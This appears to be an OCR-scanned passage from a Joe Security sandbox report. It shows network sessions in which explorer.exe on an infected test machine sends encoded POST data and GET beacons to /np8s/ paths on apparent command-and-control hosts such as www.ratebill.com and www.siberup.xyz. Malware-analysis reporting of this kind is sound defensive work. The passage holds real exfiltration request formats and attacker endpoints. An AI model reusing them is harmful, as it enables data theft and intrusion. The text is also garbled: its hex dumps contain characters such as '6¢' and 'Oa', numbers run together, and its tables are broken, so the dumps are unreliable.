
Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Server: nginx

Date: Fri, 27 May 2022 15:30:23 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>

Destination IP Destination Port Process
137.220.133.198 80 C:\Windows\explorer.exe
Data
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kBytes

Timestamp e Direction
May 27, 2022 9766 ouT
17:30:29.458861113
CEST
Session ID Source IP Source Port
44 192.168.2.3 49972
kByt:
Timestamp yes Direction
transferred
May 27, 2022 9780 ouT
17:30:29.830452919
CEST

Copyright Joe Security LLC 2022

Data

POST /np8s/ HTTP/1.1

Host: www.ratebill.com

Connection: close

Content-Length: 414

Cache-Control: no-cache

Origin: http://www.ratebill.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.ratebill.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 42 43 6b 47 48 6¢ 45 74 28 69 41 49 73 62 79 4d 43 49 54 4c 48 75 7e 4f 39 6b 6b
7345 30 56 74 4f 75 70 6b 66 30 4b 53 4e 56 55 4e 73 74 44 44 57 6f 44 62 48 6d 4e 42 7e 67 72 55 72 68 4f 4a 67 36
78 7178 43 75 38 65 42 61 63 38 68 54 6f 54 65 61 79 54 37 36 31 44 70 78 70 44 74 4f 6e 71 7a 54 45 6f 4c 64 56 68
54 72 38 70 76 45 67 50 59 7e 4f 39 69 38 61 6a 30 68 37 28 39 6d 56 55 5a 5a 70 74 47 6b 49 77 45 44 5a 74 45 39 49
78 42 67 41 37 5f 33 38 6¢ 62 4d 75 41 4b 67 7a 67 42 4c 65 68 55 5a 4e 57 57 48 6f 4d 51 6a 6d 44 5f 5a 52 72 47 35 70
28 75 7e 36 4a 46 43 63 32 53 39 46 64 52 4a 76 76 39 62 33 72 45 69 56 4e 65 28 51 6¢ 38 75 64 41 5f 6d 74 72 38 72
4a 39 63 48 4c 4b 4a 38 6a 78 34 55 53 45 4c 70 6b 58 55 62 5f 73 57 72 32 6e 44 38 39 72 47 6¢ 30 6f 4d 4b 33 63 38
55 64 75 43 36 55 45 75 42 4d 45 34 54 7a 67 5a 69 4f 77 39 4d 7a 67 51 45 66 46 51 7a 34 62 4d 31 32 55 4b 6d 32 36
67 65 51 4a 56 44 47 78 65 59 6¢ 75 66 69 70 4e 61 32 33 31 73 57 39 4e 4a 54 77 6f 48 78 72 61 4f 79 6¢ 38 49 72 35
7045 7a 6¢ 71 45 76 79 45 43 4e 6¢ 4e 41 39 77 68 49 6f 54 48 44 7e 72 4e 34 37 4a 39 4d 36 5f 37 45 38 6¢ 42 4a 48
6e 35 31 49 4e 41 42 6d 73 4a 45 55 4f 6a 64 4c 4e 63 43 6e 30 38 67 29 2e 00 00 00 00 00 00 00 00

Data Ascii: c2MH6DeP=BCkGHIEt(iAlsbyMCITLHu~0O9kksEOVtOupkfOKSNVUNstDDWoDbHmMNB~grurhOJgéxgx
CuBeBac8hToTeayT761DpxpDtOngzTEoLdVhTr8pvEgPY~09i8aj0h7(9mVUZZptGkIWEDZIE9IXBgA7_38lbMuAKg
zgBLehUZNWWHoMQjmD_ZRrG5p(u~6JFCc2S9FdRIVVIb3rEiVNe(QI8udA_mtr8rJ9cHLKJI8jx4USELpkXUb_sWr2n
D89rGl00MK3c8UduC6UEUBME4TzgZiOw9IMzgQEfFQz4bM12UKm26geQJVDGXxeYIufipNa231sWINJITwoHxraOyl8Ir
5pEzIgEvyECNINA9WhIOTHD~rN47J9M6_7E8IBJHN51INABmMSIEUOjdLNcCN08g).

Destination IP Destination Port Process
137.220.133.198 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1
Host: www.ratebill.com
Connection: close
Content-Length: 36482
Cache-Control: no-cache
Origin: http://www.ratebill.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.ratebill.com/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 63 32 4d 48 36 44 65 50 3d 42 43 6b 47 48 6e 51 37 78 32 77 56 78 62 50 73 57 65 58 66 50 5f 75 4d 78 30 6f
6a 61 47 51 74 4b 61 74 61 41 68 32 6a 63 67 51 62 6f 64 65 54 53 75 58 54 48 6e 38 6¢ 77 7a 50 75 76 42 4b 4b 67 37
56 55 78 43 71 38 66 41 79 4d 38 47 66 4f 55 38 69 39 52 62 36 4a 45 70 77 76 56 63 53 4b 71 7a 57 52 6f 4c 45 4b 68
6a 48 38 6f 4e 38 67 4a 5a 7e 4a 69 53 38 44 67 30 52 6e 37 39 72 48 55 5a 42 68 74 43 6b 49 78 30 50 5a 33 6b 74 4a
6d 57 4d 44 6a 5f 32 58 7a 4c 4d 4e 4f 71 6¢ 41 67 42 48 77 68 52 35 4e 57 41 76 6f 44 67 44 6d 49 75 5a 53 7e 6d 35 73
73 2d 7e 6a 4e 46 50 45 32 53 52 5a 64 56 52 56 75 49 62 33 6¢ 55 69 59 63 5f 37 75 75 39 75 30 43 5f 53 61 72 39 58
6b 39 4e 71 59 4b 4c 35 47 6e 36 4d 70 59 2d 31 65 58 52 4¢ 42 76 32 71 5f 76 6a 38 71 72 47 6¢ 45 6f 4d 4b 5a 63 39
6b 64 75 44 79 55 46 49 46 4d 48 61 36 6¢ 76 5a 69 4c 71 4e 4d 72 7e 67 5a 75 46 51 71 6d 62 4d 39 49 55 37 69 32 37
455351 65 33 724877 75 59 6a 67 5f 69 67 66 61 32 34 31 73 57 4c 4e 49 53 74 76 30 31 72 49 76 79 6¢ 73 61 44 35
6¢ 55 7a 6¢ 6d 6b 76 77 4c 69 42 50 4e 41 31 38 68 49 5a 6d 48 77 53 72 49 36 44 4a 7a 4a 61 5f 34 30 38 6¢ 4f 70 48
3532305242 47 77 75 5f 4c 6e 30 44 70 61 43 36 53 47 76 5f 67 75 48 56 41 34 78 5a 4d 6f 70 2d 31 65 47 35 79 72 55
52 3354 56 69 4b 78 7e 4c 75 5f 35 4d 67 6d 58 36 43 58 69 31 38 4b 52 4e 73 48 6f 56 49 73 4b 46 4c 4a 68 42 68 73
31 4f 58 6f 7e 67 76 53 53 77 55 65 68 52 71 73 71 67 49 58 32 5a 4e 6b 77 6¢ 7a 69 43 6b 52 6¢ 49 77 39 61 45 43 55
61 7a 30 41 50 70 73 41 57 70 47 6d 55 64 39 74 53 44 33 54 6e 74 38 6a 63 58 43 41 78 6e 48 47 63 4c 30 54 63 69 53
68 64 4d 6f 31 44 55 57 64 51 71 41 54 41 53 63 7e 74 7e 69 77 59 47 46 4a 76 32 79 68 41 6b 6e 41 76 58 5a 73 57 28
4b 53 71 57 4d 64 68 57 78 4f 59 6¢ 74 5a 30 55 41 71 48 45 6f 46 73 76 74 6¢ 6a 54 31 43 71 7a 2d 50 6b 53 4f 28 4c 47
74 65 34 41 6e 39 66 6d 4d 69 71 79 52 68 6¢ 6f 42 6e 36 56 74 76 6a 7e 47 7a 75 69 6e 78 54 58 78 61 4d 64 54 36 47
62 35 36 4b 63 57 49 49 62 74 28 37 5a 4f 79 71 71 68 57 67 5a 4c 6¢ 6b 75 77 44 32 66 78 70 37 31 51 68 61 74 41 6a
2d 4f 6¢ 4b 38 30 67 74 31 7e 54 77 70 42 61 47 69 61 53 50 74 36 41 63 41 35 32 36 2d 63 38 28 67 7a 43 41 76 6a 49
4c 69 78 51 61 33 43 6f 6a 6e 4b 64 5a 59 50 4d 46 45 6e 50 73 74 63 36 28 61 48 73 73 66 4b 68 45 30 53 79 59 4b 28
3166 55 55 55 38 66 57 4c 6d 34 70 63 71 47 39 6f 36 5f 4a 39 75 2d 76 5a 45 6a 4e 33 37 61 4a 4a 69 75 46 74 38 5f 79
6d 73 6e 54 4b 78 67 66 2d 58 63 44 6d 56 39 4b 61 43 74 47 51 76 58 38 55 65 71 79 69 59 52 75 4a 4e 4f 32 43 4e 67
79 4e 6¢ 69 59 64 65 4c 79 4a 35 4e 37 58 55 31 72 66 4a 39 35 39 38 30 4f 36 4d 36 75 35 42 76 6b 41 53 46 55 35 61
4e 7e 50 6d 69 65 59 55 77 75 50 64 33 30 6f 47 50 68 2d 30 73 30 37 42 37 58 62 36 5f 6e 4d 51 47 6¢ 5f 58 6b 78 4c 5a
4d 76 53 71 61 48 75 50 6a 49 79 38 70 45 6e 46 38 50 70 67 36 58 7a 41 66 7e 74 50 55 63 5a 54 56 4b 6f 6a 37 7a 5a
56 30 6¢ 30 75 78 51 2d 7e 67 74 61 6a 6a 47 7a 55 55 76 42 59 6b 55 66 53 59 39 73 4c 30 34 70 7e 48 6a 57 61 30 78
72 6e 30 5a 4c 45 55 46 59 79 41 4e 6a 37 62 65 67 6b 32 50 4b 79 48 68 36 62 31 62 4a 69 54 4a 6d 59 67 44 4e 46 71
76 55 75 31 45 4f 6d 46 53 74 4d 59 38 57 37 67 72 4c 72 61 39 62 69 44 56 2d 75 74 67 47 4e 69 42 6¢ 33 6e 52 37 34
4d 51 75 48 67 6e 68 32 43 34 4a 38 76 6¢ 6b 48 2d 73 66 51 2d 76 78 69 4b 43 70 53 46 41 6f 79 59 73 73 79 51 57 4b
4b 54 61 76 79 35 35 31 69 59 62 75 58 4d 6b 4c 52 5a 78 45 6e 5f 61 49 63 39 65 6b 72 42 35 43 4e 59 5a 4e 74 68 59
74 7e 72 51 47 42 2d 63 47 56 33 75 62 50 57 70 65 58 4c 48 49 64 4f 72 50 6f 42 70 31 66 72 38 6b 73 61 61 74 57 75
57 54 47 4e 79 62 51 6e 4c 5a 71 64 51 77 35 32 78 37 4a 39 74 6f 4b 6e 7e 56 54 78 32 63 41 55 46 4f 6a 6a 39 6f 32 36
6d 52 51 4f 37 53 46 41 68 4b 38 55 62 58 73 4e 79 34 4a 67 28 31 55 50 58 58 48 71 71 58 34 67 7e 4c 52 5a 31 61 51
45 43 32 6b 78 4d 78 5a 34 64 34 57 4d 68 4f 78 58 73 4c 70 45 4f 53 39 76 5a 74 61 76 58 39 53 4b 47 64 4a 6¢ 57 51
56 33 65 5f 75 64 4b 58 4¢c 59 4c 73 6¢ 44 67 41 31 58 56 4c 75 75 37 57 75 34 55 69 64 75 41 62 36 46
Data Ascii: c2MH6DeP=BCkGHNQ7x2wVxbPsWeXfP_uMx0ojaGQtKataAh2jcgQbodeTSuXTHn8lwzPuvBKKg7VUx
Ca8fAvM8GfOU8I9Rb6JEpWVVcSKazWRoLEKhiH80N8aJZ~JiS8Da0RN79rHUZBhtCkIxOPZ3ktJImWMDI 2XzLMNOal ]
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Timestamp

Session ID

45

Timestamp

May 27, 2022
17:30:30.196928978
CEST

May 27, 2022
17:30:30.566066027
CEST

Session ID

5

Timestamp

May 27, 2022
17:28:01.005194902
CEST

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

9780

9804

Source IP

192.168.2.3

kBytes
transferred

7604

Copyright Joe Security LLC 2022

Direction

Source Port

49973

Direction

ouTt

Source Port

49821

Direction

ouT

AgBHWhR5NWAvoDgDmIuZS~m5ss-~NFPE2SRZdVRVulb3lUiYc_7uu9u0C_Sar9Xk9NqYKL5Gn6MpY-1eXRLBv2q_v
BaFGIEoMKZchduDyUFIFMHaGIinLqNMr~gZu FQgmbMO9IU7i27ESQe3rHwuYjg_igfa241sWLNIStvO1rlvylsaD
5lUzImkvwLiBPNA18hIZmHwSrI6DJzJa_408l0pH520RBGwu_Ln0DpaC6SGv_guHVA4xZMop-1eG5yrUR3TViKx~Lu
_5MgmX6CXi18KRNsHoVIsKFLIhBhs10Xo~gvSSwUehRqsqglX2ZNkwlziCkRIlw9aECUazOAPpsAWpGmUd9tSD3Tnt
8jcXCAXNHGcLOTciShdMo1DUWdAQgATASc~t~iwYGFJIv2yhAknAvXZsW(KSqWMdhWxOYItZOUAgHEoFsvtljT1Cqz-P
kSO(LGte4An9fmMigyRhloBn6Vivj~GzuinxTXxaMdT6Gb56KcWI1bt(7Z0yqghWgZLIkuwD2fxp71QhatAj-OIK80
gtl~TwpBaGiaSPt6AcA526-c8(gzCAvjlLixQa3CojnKdZYPMFENPstc6(aHssfKhEOSy YK (1fUUUBfWLmM4pcqG906_J9u-
VZEjN37aJJiuFt8_ymsnTKxgf-XcDmV9KaCtGQvX8UeqyiYRuINO2CNgyNIiYdeLyJ5N7XU1rfJ9598006M6u5BvkASFU5a
N~PmieYUwuPd300GPh-0s07B7Xb6_nMQGI_XkxLZMvSqaHuPjly8pEnF8Ppg6XzAf~tPUcZTVKoj7zZV0I0uxQ-~gt
ajjGzUUVBYKUfSY9sL04p~HjWa0xrn0ZLEUFYyAN;j7begk2PKyHh6b1bJiTImYgDNFqvUulEOMFStMY8W7grLradbiDV-
utgGNiBI3nR74MQuHgnh2C4J8vIkH-sfQ-vxiKCpSFAoyYssyQWKKTavy551iYbuXMkLRZXEn_alc9ekrB5CNYZ
NthYt~rQGB-cGV3ubPWpeXLHIdOrPoBp1fr8ksaatWuWTGNybQnLZgdQw52x7J9toKn~VTx2cAUFQ)jj9026mRQO7SF
AhK8UbXsNy4Jg(1UPXXHgqX4g~LRZ1aQEC2kxMxZ4d4WMhOXXsLpEOS9vZtavX9SKGAIIWQV3e_udKXL
YLsIDgA1XVLuu7Wu4UiduAb6FS0esn4xttGtmwfG GecorGyCyKNwTnrXOJq_uMHCIXIuTBRQOzxK1avDKcnKMbNbQoJ
1Y5jjEIqCsidZvexmcXAyp3MloaKQ~S9e OP~6BVbCcN4vQwWwWRBRNNz5gZb5QcjkYNxrFhBChimFEbkkLO9KO0eJIEZ5
7c7BNBH5H8Z(PnnClziYry8sZNF(JC3aeLFAFKz2nng5UuHgiFj3Z(gJsPN3gHSIGx77rFIrHFZRGGd3GG-9pim6Zj
BCwP13LFzZEPQ-QQm23jy_vmiaWeiJSbPdL3ybD5KBFGQBbJ4ynWxxhgLzEFtmq3Ipiw5!57 Tm7w49WJ3Q6dJGpjjch
EtJjvtksOiSIHRcd4094gf9BHiUe1OELPgsPhgoOgjyiGMTTOXLbb0ObkNxvzQI60G~whowv~moO5NVwyRUfCXWQrPB
GfeiAjMzvY4k0xoqu(QekoAiE296ki-uRvogcpb2ZX-vixwXFmhOWhgjhoJWiJPOQuMZ\VVp0r5947GBW{8x8IFQU9aH
3n5tqwHhD0ZzIQAMR-KHDXCbES0G7D7G(zGWPaoAQy7L.Is010SGhmTSZ4 QJLZNOCoNggqS2LQi9h648DjPvhpq3Ske
ilu83uelAiYx4rGbHROYINcb5Y8f1RiUC0o5IbBKNORXjKIRUAhU40bgBYtkA2BA~I50rVY1JYWMdiIUMR8dXbgWhaGL
ylkz4ALxgQnmrclLlorFrbHzLBjGwBYGrR8JptSq7aTXmCO5F3Lx0uflBUNNXI4caUoVsXW6EYHKLT8nas5F(bLANNR
vXvsGRhT40HJTVHPZBrTx410_FPz8dWLgr-IfMn~WtTvX6PxNf216U8(WoBXXrbgNDfyKoTyow6Sgh255F74290V8I
G4vwHd69PYH31QaFSLOfjl1lyYe~pZq908G39anHRPINtFh1ZtZPfuMEq7rISM5kZtkGPd2LY CcjhS11ggZFeA6qJc
JOrDgrv3Nm3bJZFwalJLrkx~umBrHxQ11QjdRBJim(VsnU7gTXe65fuld3eKVwdSBYGZd5Rkgs31sSe7FFiSMC7JO~
1G2qIXWRYO0MkogUcyCorjy5Qrh1mxTdmAgJ6cwhnuURSIIsQx22h0OZox_F1a300WFIF(1IGk2aD7xHAIJMUiuH66zIJm6
xyOyisM1oFMEgFtgWLxNbhQ6KVR3Gyj~iZ8xjbadI3tOpMe53gMItWQc9ajOUEDvVB1pnYLtUsUg8xfMRZHPEMrR5SR
aCX5_BYe4nsidUXksVAOXAr5yiOF5WFclhIHB4LVbK6QveiAetbwmVKauxCNfUW4IBhKsxDGXtoyllaOK~87xCtKN(
k(sEnfdacHi9kKbJvnRN1g9pDVAppggqo9tRkYompF6Bbd1lvsMuVGUPWb57BWdTfsulZPUtjdBGajNz4RIOSDA(15TA
EcsQ_~AXmpiWXCH5bbyA1G-Y30hSVfYmExz2sVql6Mh6Xn1J5ief5SchO4tNgxuJ3Q9506-RwLhPVioeLU-jHAMtIC
DrOfiteaK7HBgc1UVZfc-5vuTCo87F_0TtacnAl~Rz-i-hjzIXNTF12jgC8ShJvOOAWXIXdLjNXxR1IUSHVE4ghokFC
tLLLUDHX4vsplAFRX6Z2IAFSje4ib8g5cShA3fp4pZcexN2LAG47s7zedyFLISY 1yo4UuZihZ9a94WpYhCh8pWIOpE
R7vPaifUyjuYUcocO9iJR(V8_Z5(x1YSbhqtkOQ4i36f~zrZMprbhfDgv-M_IEnFhx(ZcLiud_ORL60ouJOobV7MIwOw
XEtetN1SVcdX7c421Y41dfkW8M_4pJh5bKGV940UE016nP-0c0DdytCv7r340a6S9d0TFOOPCGVNLsIUYUXrjiMcn44
eQPj5FBnBgLciiyMKe3GQk3EILfkOk2va(fAUXGOUBpeTZmgQn4QLvC2Vy6MMAgYJIsMd28WhCjlyyAdXzKoilx4qJl
0s1sYIKvha4d7dxBYEVjIrPpXz8XzCx7NXnIRMV6pAEHVSYGTjbAGEaNguVQGVKOkkdI6tGJusybX1jDOVAIA7KQjw
TFj1Ina(JOOHMgv6usw5ZCFsHRieulvxU65jqQbE_SZanmrlAlU(Q7x1B3ITxi5BINIM600IdF50KRhbyAtQH1BuOy
FkviiSzjIkHpN7iR_~x(-eYcigPVXvnUiKIMJIOpffuVj1UzNSfnc3sLzAiWgD8KoRc80Qbg8JqCh3wgBFPVT14FBi8
KEWOErimH7RevU2bmdBHILKZTUU~ywwMMMyhXYkp9ZMNBZoJwSBO06T6VISIqg44KWFowFBVop4zqgG550
u5q0Ywkt4ZhIKMDmJee2_oMZrohMS0ZpSOKHCaA7s5gu00XPddfadeZuGsAdCIINCafrVWL(fzg~P2eEPCNEvXd5Id
pn2vXXBwV5JV9~46a~SfDyTsYaR5fChi_d0ezn2DrxK7F490IBFdfr2k3AndKpDIO4f9LvzpZIFvqlCbDSyrnTgEa7
wXVanhZccfgHINhn28UZjabcB1TIFOBPGB2iD4HD2GLxn4W93T1enTtxXEiKadjPEDwPykpCjmoblpJcqZfODCroDY
W8uuKivw7YR~XEMImssosZEg4e96MWI7t5FF2kR (buLrlXs6IP80ydmPUb1K504hL8ap98wainlfznoG32LvrHxJ_4
aabJSgVZj~_d6Vs9hxuZFM07VoUulFMIcNgOi~CdpY880XFA5Pg~anVsVh

Destination IP  Destination Port Process
137.220.133.198 80 C:\Windows\explorer.exe
Data

GET /np8s/?c2MH6DeP=0AQ8ZAk71VYHsoGBQeSO0cLLvyBMKMIAsSKOta2CkcQgnl+jMatCDHWZEKCDKr1q9/u4Y &h
FQL=JXUhrvXxUhF4 HTTP/1.1

Host: www.ratebill.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: Tengine

Date: Fri, 27 May 2022 15:30:30 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Data Raw: 31 0d Oa 2e 0d Oa 30 0d Oa Od Oa

Data Ascii: 1.0
Destination IP Destination Port Process
172.96.186.204 80 C:\Windows\explorer.exe
Data

GET /np8s/?c2MH6DeP=z2yla7cx1SROgCPUWMRj7QFmMCzRewXUzLnCINkjkn7TUjkjwrWOKKOKMIL9EtH2011i9&h
FQL=JXUhrvXxUhF4 HTTP/1.1

Host: www. liveafunday.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp e Direction
May 27, 2022 7619 IN
17:28:02.332734108
CEST
Session ID Source IP Source Port
6 192.168.2.3 49825

. kBytes . .
Tim m Direction

estamp transferred Ectio

May 27, 2022 7647 ouT
17:28:06.616600037
CEST

Copyright Joe Security LLC 2022

85.159.66.93 80

Data

HTTP/1.1 404 Not Found

Connection: close

x-powered-by: PHP/7.4.29

content-type: text/html; charset=UTF-8

expires: Wed, 11 Jan 1984 05:00:00 GMT

cache-control: no-cache, must-revalidate, max-age=0

link: <http://thebestvidforall.xyz/wp-json/>; rel="https://api.w.org/"

x-litespeed-cache-control: public,max-age=3600

x-litespeed-tag: 440_HTTP.404,440_404,440_URL.249cf122f2d92b3e82f0723a2e93dc1c,440_

x-litespeed-cache: miss

transfer-encoding: chunked

date: Fri, 27 May 2022 15:28:02 GMT

server: LiteSpeed

Data Raw: 66 35 34 66 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e Oa
09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64
65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 22 20 2f 3e Oa 3c 6d 65 74 61 20 6
e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77
3a 6¢ 61 72 67 65 27 20 2f 3e 0a 3c 74 69 74 6¢ 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b
20 4d 79 20 42 6¢ 6f 67 3c 2f 74 69 74 6¢ 65 3e Oa 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68
27 20 68 72 65 66 3d 27 2f 2f 74 68 65 62 65 73 74 76 69 64 66 6f 72 61 6¢ 6¢C 2e 78 79 7a 27 20 2f 3e Oa 3c 6¢ 69 6e 6b
2072 65 6¢ 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e Oa
3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 6¢ 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6¢ 69 63 61 74 69 6f 62
2727373 2b 78 6d 6¢ 22 20 74 69 74 6¢ 65 3d 22 4d 79 20 42 6¢ 6f 67 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68
72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 68 65 62 65 73 74 76 69 64 66 6f 72 61 6C 6C 2e 78 79 7a 2f 66 65 65 64 2f 22 20
2f 3e 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 6¢ 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6¢ 69 63 61 74
69 6f 6e 2f 72 73 73 2b 78 6d 6¢ 22 20 74 69 74 6¢ 65 3d 22 4d 79 20 42 6¢ 6 67 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d
65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 68 65 62 65 73 74 76 69 64 66 6f 72 61 6
6c 2e 78 79 7a 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3¢ 73 63 72 69 70 74 3e Oa 77 69 6e 64 6f 77
2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6¢ 22 3a 22 68 74 74 70 73 3a 5c 2f
5c 2f 73 2e 77 2e 6f 72 67 5¢ 2f 69 6d 61 67 65 73 5¢ 2f 63 6f 72 65 5¢ 2f 65 6d 6f 6a 69 5¢ 2f 31 34 2e 30 2e 30 5¢ 2f 37
327837 32 5¢ 2f 22 2¢ 22 65 78 74 22 3a 22 2e 70 6e 67 22 2¢c 22 73 76 67 55 72 6¢ 22 3a 22 68 74 74 70 73 3a 5¢ 2f 5¢
2f 73 2e 77 2e 6f 72 67 5¢ 2f 69 6d 61 67 65 73 5¢ 2f 63 6f 72 65 5¢ 2f 65 6d 6f 6a 69 5¢ 2f 31 34 2e 30 2e 30 5¢ 2f 73 76
67 5¢c 2f 22 2¢ 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2¢c 22 73 6f 75 72 63 65

Data Ascii: f54f<IDOCTYPE html><html lang="en-US"><head><meta charset="UTF-8" /><meta name="viewport"
content="width=device-width, initial-scale=1" /><meta name="robots' content="max-image-preview:large' /><title>Page not
found &#8211; My Blog</title><link rel="dns-prefetch’ href="//thebestvidforall.xyz' /><link rel='dns-prefetch’ href="//s.w.org’
/><link rel="alternate" type="application/rss+xml" title="My Blog &raquo; Feed" href="http://thebestvidforall.xyz/feed/" />
<link rel="alternate" type="application/rss+xml" titte="My Blog &raquo; Comments Feed" href="http://thebestvidforall.
xyz/comments/feed/" /><script>window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.orgVimages\/core\/lemoji\/14.0.0\/72x7

2\/""ext":".png","svgUrl":"https:VV/s.w.org\/images\/core\emoji\/14.0.0Vsvg\/","svgExt":".svg","source

Destination IP  Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.siberup.xyz

Connection: close

Content-Length: 414

Cache-Control: no-cache

Origin: http://www.siberup.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.siberup.xyz/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 54 42 6a 6¢ 49 4a 43 7a 76 72 46 6¢ 48 44 46 71 44 41 63 48 44 58 65 58 65 4c
38317366 78 51 69 68 4b 71 32 4a 6a 49 56 68 44 33 37 6d 66 41 70 79 41 35 66 72 6e 43 32 53 52 33 4e 6d 6b 68 35
38 6a 34 50 53 58 42 5a 71 6f 2d 6e 54 44 61 4b 51 64 4c 72 69 34 53 47 38 72 37 75 58 72 56 4d 57 50 66 6f 4f 64 2d 3
04a5a4847 6c 625851 39 33 67 7a 4e 43 32 41 63 59 6e 62 6f 4e 6¢ 6d 56 7e 4b 6a 49 7a 47 48 7a 59 4d 77 45 30 68
44 50 6d 7a 35 71 65 5f 6f 66 58 69 42 56 76 79 52 5f 65 6f 57 48 55 31 41 58 37 43 35 49 4a 36 73 53 61 38 77 48 46 6f
42 58 67 3557 5f 44 53 6f 73 69 78 6f 57 31 38 5a 54 69 6e 6e 48 73 48 34 62 51 53 54 58 4c 38 55 42 4a 6e 67 65 56
55 68 38 43 56 76 45 7a 36 31 63 32 44 75 62 75 6e 36 4a 44 72 65 63 43 4a 67 64 49 4b 57 61 63 53 72 51 6¢ 34 67 6d
41 61 36 46 76 6a 47 49 69 62 70 68 62 62 58 57 56 55 73 66 69 51 33 37 76 58 41 38 4d 42 4a 34 7a 57 5a 50 6e 59 39
73 73 46 4b 51 57 4c 31 35 73 50 64 51 62 76 61 62 4f 42 67 65 67 50 58 51 70 52 34 6b 36 6d 31 6e 49 59 44 58 6b 50
68 4c 6a 4a 58 45 59 45 33 2d 74 4c 48 6d 42 79 57 31 28 63 5a 31 6a 74 69 71 31 6b 4e 56 41 71 77 48 36 76 6a 35 7a
64 78 67 46 49 72 5f 4a 61 63 32 61 66 36 66 39 56 36 30 58 32 67 41 29 2e 00 00 00 00 00 00 00 00

Data Ascii: c2MH6DeP=TB|llJCzvrFIHDFgDAcHDXeXelL81sfxQihKg2JjIVhD37mfApyA5frnC2SR3Nmkh58j4PSXBZqo-
nTDaKQdLri4SG8r7uXrVMWPfoOd-0JZHGIbXQ93gzNC2AcYnboNImV~KjlzGHzY MWEOhDPmz5ge_ofXiBVv
yR_eoWHU1AX7C5136sSa8wHFoBXg5W_DSosixoW18ZTinnHsH4bQSTXL8UBJngeVUh8CVVvEz61c2Dubun6JDrecCJg
dIKWacSrQl4gmAa6FvjGlibphbbXWVUsfiQ37vXA8MBJI4zWZPnY9ssFKQWL15sPdQbvabOBgegPXQpR4k6ém1nlYDXk
PhLjJIXEYE3-tLHMByW1(cZ1jtiglkNVAqwH6vj5zdxgFIr_Jac2af6f9V60X2gA).
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kBytes

Timestamp transferred
May 27, 2022 7661
17:28:06.707895994
CEST
Session ID Source IP
7 192.168.2.3

. kBytes
LLLLEE L transferred
May 27, 2022 7661
17:28:06.668395042
CEST

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49826

Direction

ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.14.1

Date: Fri, 27 May 2022 15:28:06 GMT
Content-Length: 0

